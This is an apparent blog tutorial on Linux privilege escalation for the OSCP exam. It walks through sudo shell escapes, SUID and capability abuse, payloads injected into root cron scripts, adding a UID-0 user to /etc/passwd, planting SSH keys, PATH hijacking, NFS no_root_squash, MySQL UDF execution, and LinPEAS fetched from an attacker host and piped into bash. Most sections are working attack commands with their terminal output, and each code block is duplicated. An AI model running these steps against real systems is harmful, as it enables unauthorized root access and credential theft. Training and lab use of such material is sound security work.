June 14, 2026
Linux Privilege Escalation: The OSCP Methodology That Gets You Root Every Time
You have a shell. It’s low-privilege. The clock is running. What do you do next?
Ashish Ghimire
12 min read
You have a shell. It's low-privilege. The clock is running. What do you do next?
That question asked inside a Kali VM at 2 AM is where most OSCP candidates freeze. Not because they don't know the techniques. They freeze because they don't have a system. They poke at one thing, hit a dead end, panic, and burn 45 minutes going in circles.
This post is the system I wish I had earlier. It's a methodical, sequenced approach to Linux privilege escalation built around the OSCP exam environment covering every major vector from SUID abuse to cron job hijacking, with real terminal output at every step.
If you've done my Active Directory Penetration Testing homelab, you know the format: no hand-waving, no "and then magic happens." Just commands, output, and the reasoning behind them.
Table of Contents
- The Mental Model: Enumerate Before You Exploit
- Initial Enumeration — Orient the Shell
- Sudo Misconfigurations
- SUID / SGID Binary Abuse
- Cron Jobs and Writable Scripts
- Weak File Permissions
- PATH Hijacking
- Linux Capabilities
- NFS and Internal Services
- Automated Enumeration — LinPEAS and LSE
- The OSCP Exam Checklist
1. The Mental Model: Enumerate Before You Exploit
Before a single exploit runs, the attacker who wins is the one who has already mapped the terrain. Linux privilege escalation is not a bag of tricks you throw at a machine until something sticks. It is a funnel:
Wide enumeration → Identify anomalies → Confirm exploitability → Execute cleanlyWide enumeration → Identify anomalies → Confirm exploitability → Execute cleanlyOn OSCP, you have a finite window. The methodology below is ordered by yield the techniques that pay off most often come first. The kernel exploit section is intentionally last. Kernel exploits are noisy, can crash the machine, and are almost never necessary on a well-designed OSCP box. Misconfigurations will get you root faster.
One more rule: run LinPEAS in the background the moment you land. Don't wait for manual enumeration to finish. Let both run in parallel, and use the manual pass to understand what you're looking at before LinPEAS floods you with output.
2. Initial Enumeration — Orient the Shell
The first five minutes follow the same script regardless of the machine. You need to know: who you are, what the kernel looks like, what other users exist, what's running internally, and whether any credentials are floating around in plain text. Run these in sequence immediately after getting a foothold.
Who Am I, and What Am I Working With?
www-data@victim:/$ id && whoami
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
www-data@victim:/$ uname -a
Linux victim 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
www-data@victim:/$ cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.5 LTS (Focal Fossa)"www-data@victim:/$ id && whoami
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
www-data@victim:/$ uname -a
Linux victim 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
www-data@victim:/$ cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.5 LTS (Focal Fossa)"Note the kernel version. You're not exploiting it now, but if everything else fails you'll want it for the Linux Exploit Suggester later.
Users, Groups, and High-Value Memberships
www-data@victim:/$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
bob:x:1000:1000::/home/bob:/bin/bash
alice:x:1001:1001::/home/alice:/bin/bash
www-data@victim:/$ cat /etc/group | grep -E "sudo|docker|lxd|adm|disk"
sudo:x:27:bob
docker:x:999:
adm:x:4:syslog,bobwww-data@victim:/$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
bob:x:1000:1000::/home/bob:/bin/bash
alice:x:1001:1001::/home/alice:/bin/bash
www-data@victim:/$ cat /etc/group | grep -E "sudo|docker|lxd|adm|disk"
sudo:x:27:bob
docker:x:999:
adm:x:4:syslog,bobBob is in the sudo group. If you can pivot to Bob through password reuse, a cracked hash, or a credential in a config file you may get root directly without any further exploitation.
Internal Services and Exposed Ports
www-data@victim:/$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 0.0.0.0:80 0.0.0.0:*www-data@victim:/$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 0.0.0.0:80 0.0.0.0:*MySQL running locally on 3306. That's worth remembering if you find credentials, MySQL running as root is a well-known privilege escalation path via UDF injection.
Credentials in Environment Variables and Shell History
This catches more flags than people expect.
www-data@victim:/$ env | grep -iE "pass|secret|key|token|db"
DB_PASSWORD=Sup3rS3cr3t!
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@victim:/$ cat /home/bob/.bash_history 2>/dev/null | head -20
mysql -u root -pR00tMySQL2023!
ls -la /opt/backup/
sudo systemctl restart nginxwww-data@victim:/$ env | grep -iE "pass|secret|key|token|db"
DB_PASSWORD=Sup3rS3cr3t!
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@victim:/$ cat /home/bob/.bash_history 2>/dev/null | head -20
mysql -u root -pR00tMySQL2023!
ls -la /opt/backup/
sudo systemctl restart nginxThere it is a root MySQL credential sitting in bash history. Always check history files for every user you can read.
3. Sudo Misconfigurations
sudo -l is the first command I run after landing because misconfigured sudo entries are the single most common privilege escalation path on OSCP machines. You don't need the user's password to list what they can run only to actually run it.
bob@victim:~$ sudo -l
Matching Defaults entries for bob on victim:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User bob may run the following commands on victim:
(ALL : ALL) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py
(ALL) NOPASSWD: /usr/bin/less /var/log/nginx/*.logbob@victim:~$ sudo -l
Matching Defaults entries for bob on victim:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User bob may run the following commands on victim:
(ALL : ALL) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py
(ALL) NOPASSWD: /usr/bin/less /var/log/nginx/*.logThree entries, three attack paths. Let's walk through each.
Shell Escape via sudo vim
Any text editor that can run shell commands becomes a root shell when run with sudo. With vim, the escape is one line:
bob@victim:~$ sudo vim -c ':!/bin/bash'
root@victim:/# id
uid=0(root) gid=0(root) groups=0(root)bob@victim:~$ sudo vim -c ':!/bin/bash'
root@victim:/# id
uid=0(root) gid=0(root) groups=0(root)The :! command in vim executes a shell command. Since we're running under sudo, the shell spawns as root. Same technique applies to nano (^R^X), less (type !/bin/bash at the prompt), and more (!/bin/bash). Check GTFOBins for every editor or pager you see in a sudo entry.
Wildcard in Sudo Path — Controlled Argument
(ALL) NOPASSWD: /usr/bin/less /var/log/nginx/*.log(ALL) NOPASSWD: /usr/bin/less /var/log/nginx/*.logThe wildcard * only controls the filename, not the path. You can't inject /etc/shadow here. But less has a shell escape — once you're inside it, type !/bin/bash:
bob@victim:~$ sudo /usr/bin/less /var/log/nginx/access.log
# Inside less — type:
!/bin/bash
root@victim:/#bob@victim:~$ sudo /usr/bin/less /var/log/nginx/access.log
# Inside less — type:
!/bin/bash
root@victim:/#Writable Script in Sudo Entry
The most underrated one: a sudo entry that allows running a specific script doesn't help unless the script is actually locked down.
bob@victim:~$ ls -la /opt/scripts/backup.py
-rwxrwxrwx 1 root root 512 May 10 08:14 /opt/scripts/backup.pybob@victim:~$ ls -la /opt/scripts/backup.py
-rwxrwxrwx 1 root root 512 May 10 08:14 /opt/scripts/backup.pyWorld-writable. Append a payload, then trigger it via sudo:
bob@victim:~$ echo 'import os; os.system("chmod u+s /bin/bash")' >> /opt/scripts/backup.py
bob@victim:~$ sudo /usr/bin/python3 /opt/scripts/backup.py
[*] Backup complete.
bob@victim:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
bob@victim:~$ /bin/bash -p
bash-5.0# id
uid=1000(bob) gid=1000(bob) euid=0(root) groups=1000(bob)bob@victim:~$ echo 'import os; os.system("chmod u+s /bin/bash")' >> /opt/scripts/backup.py
bob@victim:~$ sudo /usr/bin/python3 /opt/scripts/backup.py
[*] Backup complete.
bob@victim:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
bob@victim:~$ /bin/bash -p
bash-5.0# id
uid=1000(bob) gid=1000(bob) euid=0(root) groups=1000(bob)euid=0 means effective UID is root — you have full root privileges.
OSCP Note:
sudo -loutput alone is worth 5–10 minutes of careful reading. Cross every binary you see against GTFOBins before moving on.
4. SUID / SGID Binary Abuse
A binary with the SUID bit set runs as its owner rather than the caller. An SUID binary owned by root that can be coerced into spawning a shell = instant root. This is one of the highest-yield vectors on OSCP machines after sudo.
Finding SUID Binaries
www-data@victim:/$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/find
/usr/local/bin/python3.8
/usr/bin/su
/bin/mount
/usr/bin/chsh
www-data@victim:/$ ls -la /usr/bin/find /usr/local/bin/python3.8
-rwsr-xr-x 1 root root 220768 Feb 20 2022 /usr/bin/find
-rwsr-xr-x 1 root root 5457448 Apr 15 2023 /usr/local/bin/python3.8www-data@victim:/$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/find
/usr/local/bin/python3.8
/usr/bin/su
/bin/mount
/usr/bin/chsh
www-data@victim:/$ ls -la /usr/bin/find /usr/local/bin/python3.8
-rwsr-xr-x 1 root root 220768 Feb 20 2022 /usr/bin/find
-rwsr-xr-x 1 root root 5457448 Apr 15 2023 /usr/local/bin/python3.8The s in the permissions string (rws) is the SUID bit. Both are owned by root. Both are exploitable.
Exploit: SUID find
find's -exec flag executes arbitrary commands — and since the binary is SUID root, those commands run as root:
www-data@victim:/$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
rootwww-data@victim:/$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
rootThe -p flag tells sh to preserve the effective UID (root) rather than dropping it to the real UID (www-data).
Exploit: SUID Python
When an interpreter like Python carries a SUID bit, you can call setuid(0) programmatically before spawning a shell:
www-data@victim:/$ /usr/local/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@victim:/# id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@victim:/# cat /root/proof.txt
f4b3a9c1e8d27b5a0f1c6e4d9b2a7e3cwww-data@victim:/$ /usr/local/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@victim:/# id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@victim:/# cat /root/proof.txt
f4b3a9c1e8d27b5a0f1c6e4d9b2a7e3cOther commonly abusable SUID binaries: bash, perl, ruby, nmap (older versions), vim, less, more, cp, awk, tar, zip, env. When in doubt, GTFOBins has a dedicated SUID filter.
5. Cron Jobs and Writable Scripts
Root-owned cron jobs that call scripts or binaries you can write to are a reliable privilege escalation path particularly on machines designed to mimic realistic misconfiguration. The attack pattern is straightforward: inject a payload into the writable target, then wait for the scheduler to execute it as root.
Locating Cron Jobs
www-data@victim:/$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
m h dom mon dow user command
* * * * * root /opt/cleanup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
www-data@victim:/$ ls /etc/cron.d/
php monitor
www-data@victim:/$ cat /etc/cron.d/monitor
*/5 * * * * root /usr/local/bin/monitor.pywww-data@victim:/$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
m h dom mon dow user command
* * * * * root /opt/cleanup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
www-data@victim:/$ ls /etc/cron.d/
php monitor
www-data@victim:/$ cat /etc/cron.d/monitor
*/5 * * * * root /usr/local/bin/monitor.pyTwo root cron jobs. Check whether either target is writable:
www-data@victim:/$ ls -la /opt/cleanup.sh /usr/local/bin/monitor.py
-rwxrwxrwx 1 root root 142 Mar 11 12:05 /opt/cleanup.sh
-rwxr-xr-x 1 root root 1024 Mar 8 09:31 /usr/local/bin/monitor.pywww-data@victim:/$ ls -la /opt/cleanup.sh /usr/local/bin/monitor.py
-rwxrwxrwx 1 root root 142 Mar 11 12:05 /opt/cleanup.sh
-rwxr-xr-x 1 root root 1024 Mar 8 09:31 /usr/local/bin/monitor.pycleanup.sh is world-writable. The exploit writes itself.
Injecting the Payload
Rather than a reverse shell (which requires catching a connection), a SUID bash copy is cleaner and more reliable during the exam:
www-data@victim:/$ cat /opt/cleanup.sh
#!/bin/bash
find /tmp -mtime +1 -delete
find /var/log -name "*.tmp" -delete
www-data@victim:/$ echo 'cp /bin/bash /tmp/.bash && chmod u+s /tmp/.bash' >> /opt/cleanup.shwww-data@victim:/$ cat /opt/cleanup.sh
#!/bin/bash
find /tmp -mtime +1 -delete
find /var/log -name "*.tmp" -delete
www-data@victim:/$ echo 'cp /bin/bash /tmp/.bash && chmod u+s /tmp/.bash' >> /opt/cleanup.shWait up to 60 seconds for the cron job to fire, then:
www-data@victim:/$ ls -la /tmp/.bash
-rwsr-xr-x 1 root root 1183448 Jun 14 21:00 /tmp/.bash
www-data@victim:/$ /tmp/.bash -p
bash-5.0# whoami
rootwww-data@victim:/$ ls -la /tmp/.bash
-rwsr-xr-x 1 root root 1183448 Jun 14 21:00 /tmp/.bash
www-data@victim:/$ /tmp/.bash -p
bash-5.0# whoami
rootCatching Processes in Real Time with pspy
When cron jobs aren't in /etc/crontab, they may be running from per-user crontabs or paths you can't read. pspy64 monitors process creation without requiring root:
www-data@victim:/$ wget http://10.10.14.15:8000/pspy64 -O /tmp/pspy64
www-data@victim:/$ chmod +x /tmp/pspy64 && /tmp/pspy64 -pf -i 1000 2>/dev/null
2026/06/14 21:00:01 CMD: UID=0 PID=1512 | /bin/sh -c /opt/cleanup.sh
2026/06/14 21:00:01 CMD: UID=0 PID=1513 | /bin/bash /opt/cleanup.sh
2026/06/14 21:00:01 CMD: UID=0 PID=1514 | find /tmp -mtime +1 -delete
2026/06/14 21:00:01 CMD: UID=0 PID=1515 | cp /bin/bash /tmp/.bashwww-data@victim:/$ wget http://10.10.14.15:8000/pspy64 -O /tmp/pspy64
www-data@victim:/$ chmod +x /tmp/pspy64 && /tmp/pspy64 -pf -i 1000 2>/dev/null
2026/06/14 21:00:01 CMD: UID=0 PID=1512 | /bin/sh -c /opt/cleanup.sh
2026/06/14 21:00:01 CMD: UID=0 PID=1513 | /bin/bash /opt/cleanup.sh
2026/06/14 21:00:01 CMD: UID=0 PID=1514 | find /tmp -mtime +1 -delete
2026/06/14 21:00:01 CMD: UID=0 PID=1515 | cp /bin/bash /tmp/.bashUID=0 confirms the process runs as root. Any binary called with UID=0 that you can influence is a target.
6. Weak File Permissions
When critical system files are misconfigured with overly permissive access rights, the attack surface opens wide. The two highest-value targets are /etc/shadow and /etc/passwd.
Readable /etc/shadow — Offline Hash Cracking
www-data@victim:/$ ls -la /etc/shadow
-rw-rw-r-- 1 root shadow 1320 Jun 14 11:23 /etc/shadow
www-data@victim:/$ cat /etc/shadow | grep root
root:$6$xyz123$LONGHASHHEREABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdef:19500:0:99999:7:::www-data@victim:/$ ls -la /etc/shadow
-rw-rw-r-- 1 root shadow 1320 Jun 14 11:23 /etc/shadow
www-data@victim:/$ cat /etc/shadow | grep root
root:$6$xyz123$LONGHASHHEREABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdef:19500:0:99999:7:::Transfer the hash to your attacker machine and crack it:
kali@attacker:~$ echo '$6$xyz123$LONGHASHHEREABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdef' > root.hash
kali@attacker:~$ john root.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
password123 (root)
1g 0:00:00:45 DONEkali@attacker:~$ echo '$6$xyz123$LONGHASHHEREABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdef' > root.hash
kali@attacker:~$ john root.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
password123 (root)
1g 0:00:00:45 DONEThen su root on the victim with the cracked password.
Writable /etc/passwd Add a Root User
If /etc/passwd is world-writable, you can add your own root-level account without touching /etc/shadow:
www-data@victim:/$ ls -la /etc/passwd
-rw-rw-r-- 1 root root 2413 Jun 8 09:41 /etc/passwd
# Generate a password hash
www-data@victim:/$ openssl passwd -1 hacked123
$1$sAlTsAlT$KNmVfYBMVBuLSDUKKgPH01
# Append a new root-level user (UID 0, GID 0)
www-data@victim:/$ echo 'r00t:$1$sAlTsAlT$KNmVfYBMVBuLSDUKKgPH01:0:0:root:/root:/bin/bash' >> /etc/passwd
www-data@victim:/$ su r00t
Password: hacked123
root@victim:/# id
uid=0(root) gid=0(root) groups=0(root)www-data@victim:/$ ls -la /etc/passwd
-rw-rw-r-- 1 root root 2413 Jun 8 09:41 /etc/passwd
# Generate a password hash
www-data@victim:/$ openssl passwd -1 hacked123
$1$sAlTsAlT$KNmVfYBMVBuLSDUKKgPH01
# Append a new root-level user (UID 0, GID 0)
www-data@victim:/$ echo 'r00t:$1$sAlTsAlT$KNmVfYBMVBuLSDUKKgPH01:0:0:root:/root:/bin/bash' >> /etc/passwd
www-data@victim:/$ su r00t
Password: hacked123
root@victim:/# id
uid=0(root) gid=0(root) groups=0(root)The key insight: when /etc/passwd contains a password hash in the second field, Linux uses it instead of /etc/shadow. UID 0 makes the account root regardless of the username.
Writable SSH Authorized Keys
www-data@victim:/$ find /home -name "authorized_keys" -writable 2>/dev/null
/home/bob/.ssh/authorized_keys
# On attacker machine
kali@attacker:~$ ssh-keygen -t ed25519 -f /tmp/privesc_key -N ''
kali@attacker:~$ cat /tmp/privesc_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGhIjKlMnOpQrStUvWxYz0123456789 kali@attacker
# On victim
www-data@victim:/$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGhIjKlMnOpQrStUvWxYz0123456789' \
>> /home/bob/.ssh/authorized_keys
# Now SSH in as bob without a password
kali@attacker:~$ ssh -i /tmp/privesc_key bob@10.10.10.100
bob@victim:~$www-data@victim:/$ find /home -name "authorized_keys" -writable 2>/dev/null
/home/bob/.ssh/authorized_keys
# On attacker machine
kali@attacker:~$ ssh-keygen -t ed25519 -f /tmp/privesc_key -N ''
kali@attacker:~$ cat /tmp/privesc_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGhIjKlMnOpQrStUvWxYz0123456789 kali@attacker
# On victim
www-data@victim:/$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGhIjKlMnOpQrStUvWxYz0123456789' \
>> /home/bob/.ssh/authorized_keys
# Now SSH in as bob without a password
kali@attacker:~$ ssh -i /tmp/privesc_key bob@10.10.10.100
bob@victim:~$If Bob has sudo rights, this becomes a two-step root.
7. PATH Hijacking
When a SUID binary or sudo-permitted script calls another program using a relative path (no leading /), the OS searches through $PATH directories in order until it finds a match. If you control a directory that appears before the intended location in PATH, you can plant a malicious binary with the same name.
Identifying the Vector
Use strings to inspect what a SUID binary calls internally:
www-data@victim:/$ ls -la /usr/local/bin/syscheck
-rwsr-xr-x 1 root root 8432 May 22 10:11 /usr/local/bin/syscheck
www-data@victim:/$ strings /usr/local/bin/syscheck | grep -v "^[A-Z_]" | head -20
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
ps aux
service nginx status
System check complete.www-data@victim:/$ ls -la /usr/local/bin/syscheck
-rwsr-xr-x 1 root root 8432 May 22 10:11 /usr/local/bin/syscheck
www-data@victim:/$ strings /usr/local/bin/syscheck | grep -v "^[A-Z_]" | head -20
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
ps aux
service nginx status
System check complete.It calls service without a full path. That's exploitable.
The Exploit
# Prepend /tmp to PATH
www-data@victim:/$ export PATH=/tmp:$PATH
# Create a malicious "service" binary in /tmp
www-data@victim:/$ cat > /tmp/service << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash
EOF
www-data@victim:/$ chmod +x /tmp/service
# Run the SUID binary — it finds our "service" first
www-data@victim:/$ /usr/local/bin/syscheck
Checking processes...
System check complete.
www-data@victim:/$ ls -la /tmp/.rootbash
-rwsr-xr-x 1 root root 1183448 Jun 14 21:12 /tmp/.rootbash
www-data@victim:/$ /tmp/.rootbash -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)# Prepend /tmp to PATH
www-data@victim:/$ export PATH=/tmp:$PATH
# Create a malicious "service" binary in /tmp
www-data@victim:/$ cat > /tmp/service << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash
EOF
www-data@victim:/$ chmod +x /tmp/service
# Run the SUID binary — it finds our "service" first
www-data@victim:/$ /usr/local/bin/syscheck
Checking processes...
System check complete.
www-data@victim:/$ ls -la /tmp/.rootbash
-rwsr-xr-x 1 root root 1183448 Jun 14 21:12 /tmp/.rootbash
www-data@victim:/$ /tmp/.rootbash -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)This also applies to scripts run via sudo — if the sudoers entry doesn't set a secure_path, the user's $PATH is inherited.
8. Linux Capabilities
Capabilities are a fine-grained subdivision of root privilege. Rather than granting a binary full root access via SUID, capabilities grant specific permissions — like binding to a low port (cap_net_bind_service) or bypassing file permission checks (cap_dac_override). The dangerous one for privilege escalation is cap_setuid: it lets a binary change its UID to 0.
These don't show up in find -perm -4000 — you need getcap specifically.
Enumeration
www-data@victim:/$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/python3.8 = cap_setuid+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/ping = cap_net_raw+epwww-data@victim:/$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/python3.8 = cap_setuid+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/ping = cap_net_raw+epcap_setuid+ep on Python and Perl. The +ep means the capability is both effective and permitted — it's active immediately, not just available.
Exploit: cap_setuid on Python
www-data@victim:/$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@victim:/# id
uid=0(root) gid=33(www-data) groups=33(www-data)www-data@victim:/$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@victim:/# id
uid=0(root) gid=33(www-data) groups=33(www-data)Exploit: cap_setuid on Perl
www-data@victim:/$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
root@victim:/#www-data@victim:/$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
root@victim:/#Other Dangerous Capabilities
Capability What it enables Attack path cap_setuid Change UID to 0 Direct root via interpreter cap_dac_override Bypass file permission checks Read /etc/shadow, write /etc/passwd cap_sys_admin Mount filesystems, enter namespaces Container escape via chroot cap_net_bind_service Bind to ports < 1024 Service impersonation for credential capture
The cap_sys_admin container escape is worth noting separately. If you're inside a Docker container and see that capability:
www-data@container:/$ capsh --print | grep Current
Current: = cap_sys_admin+ep cap_net_admin+ep
www-data@container:/$ mkdir /tmp/host && mount /dev/sda1 /tmp/host
www-data@container:/$ chroot /tmp/host /bin/bash
root@victim:/# cat /root/proof.txt
a9b3c7d1e5f8a0b2c4d6e8f1a3b5c7d9www-data@container:/$ capsh --print | grep Current
Current: = cap_sys_admin+ep cap_net_admin+ep
www-data@container:/$ mkdir /tmp/host && mount /dev/sda1 /tmp/host
www-data@container:/$ chroot /tmp/host /bin/bash
root@victim:/# cat /root/proof.txt
a9b3c7d1e5f8a0b2c4d6e8f1a3b5c7d99. NFS and Internal Services
NFS — The no_root_squash Misconfiguration
By default, NFS maps the remote root user to the nobody account on the server, a security measure called root squashing. When an admin explicitly disables this with no_root_squash, any client connecting as root can act as root on the NFS share. If you can write to that share, you can plant a SUID binary.
# On the victim — check exports
www-data@victim:/$ cat /etc/exports
/srv/share *(rw,no_root_squash,no_subtree_check)
/home/backup 192.168.1.0/24(ro,sync)
# On the attacker machine — mount and plant
kali@attacker:~$ showmount -e 10.10.10.100
Export list for 10.10.10.100:
/srv/share *
kali@attacker:~$ mkdir /tmp/nfs && mount -o rw,vers=2 10.10.10.100:/srv/share /tmp/nfs
kali@attacker:~$ cp /bin/bash /tmp/nfs/rootshell && chmod u+s /tmp/nfs/rootshell
# Back on the victim
www-data@victim:/$ /srv/share/rootshell -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root)# On the victim — check exports
www-data@victim:/$ cat /etc/exports
/srv/share *(rw,no_root_squash,no_subtree_check)
/home/backup 192.168.1.0/24(ro,sync)
# On the attacker machine — mount and plant
kali@attacker:~$ showmount -e 10.10.10.100
Export list for 10.10.10.100:
/srv/share *
kali@attacker:~$ mkdir /tmp/nfs && mount -o rw,vers=2 10.10.10.100:/srv/share /tmp/nfs
kali@attacker:~$ cp /bin/bash /tmp/nfs/rootshell && chmod u+s /tmp/nfs/rootshell
# Back on the victim
www-data@victim:/$ /srv/share/rootshell -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root)MySQL Running as Root — UDF Injection
When MySQL runs as root and you have a root MySQL credential (from that bash history find earlier), MySQL UDF (User Defined Function) injection lets you execute OS commands as root:
www-data@victim:/$ ps aux | grep mysql
root 812 0.0 3.1 1823848 127528 ? Ssl 21:00 /usr/sbin/mysqld
www-data@victim:/$ mysql -u root -pR00tMySQL2023! -e "SELECT @@plugin_dir;"
+------------------------------+
| @@plugin_dir |
+------------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------------+
# Transfer lib_mysqludf_sys.so to the plugin directory, then:
www-data@victim:/$ mysql -u root -pR00tMySQL2023! << 'EOF'
USE mysql;
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('chmod u+s /bin/bash');
EOF
Query OK, 0 rows affected
www-data@victim:/$ /bin/bash -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root)www-data@victim:/$ ps aux | grep mysql
root 812 0.0 3.1 1823848 127528 ? Ssl 21:00 /usr/sbin/mysqld
www-data@victim:/$ mysql -u root -pR00tMySQL2023! -e "SELECT @@plugin_dir;"
+------------------------------+
| @@plugin_dir |
+------------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------------+
# Transfer lib_mysqludf_sys.so to the plugin directory, then:
www-data@victim:/$ mysql -u root -pR00tMySQL2023! << 'EOF'
USE mysql;
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('chmod u+s /bin/bash');
EOF
Query OK, 0 rows affected
www-data@victim:/$ /bin/bash -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root)10. Automated Enumeration — LinPEAS and LSE
Manual enumeration builds understanding. Automated tools catch what you miss. LinPEAS is the standard for OSCP it covers more ground in 90 seconds than most people cover manually in 30 minutes, and its color-coded output prioritizes findings by severity.
Deploying LinPEAS
# On attacker — serve the script
kali@attacker:~$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
kali@attacker:~$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ...
# On victim — pull and run, save output
www-data@victim:/$ curl -sL http://10.10.14.15:8000/linpeas.sh | bash 2>/dev/null | tee /tmp/linpeas_out.txt# On attacker — serve the script
kali@attacker:~$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
kali@attacker:~$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ...
# On victim — pull and run, save output
www-data@victim:/$ curl -sL http://10.10.14.15:8000/linpeas.sh | bash 2>/dev/null | tee /tmp/linpeas_out.txtIf the machine has no outbound internet access, use base64 encoding:
kali@attacker:~$ base64 -w0 linpeas.sh
# Copy the output, then on victim:
www-data@victim:/$ echo "AAAA...BASE64...ZZZZ" | base64 -d > /tmp/lp.sh && bash /tmp/lp.shkali@attacker:~$ base64 -w0 linpeas.sh
# Copy the output, then on victim:
www-data@victim:/$ echo "AAAA...BASE64...ZZZZ" | base64 -d > /tmp/lp.sh && bash /tmp/lp.shReading LinPEAS Output
The color scheme is the whole game:
- Red + Yellow (95% PE) — treat this as a confirmed vector. Almost always exploitable.
- Red — high-value finding, investigate immediately.
- Yellow — worth checking, may require additional conditions.
- Green — informational, lower priority.
Example output from a misconfigured machine:
╔══════════╣ Sudo version
Sudo version 1.8.21p2
[!] CVE-2021-3156 - Heap-based buffer overflow in sudo (Baron Samedit)
╔══════════╣ SUID - Check for unusual suid files
-rwsr-xr-x 1 root root 5457448 /usr/local/bin/python3.8
╔══════════╣ Interesting writable files owned by me or writable by everyone
/opt/cleanup.sh
/etc/passwd╔══════════╣ Sudo version
Sudo version 1.8.21p2
[!] CVE-2021-3156 - Heap-based buffer overflow in sudo (Baron Samedit)
╔══════════╣ SUID - Check for unusual suid files
-rwsr-xr-x 1 root root 5457448 /usr/local/bin/python3.8
╔══════════╣ Interesting writable files owned by me or writable by everyone
/opt/cleanup.sh
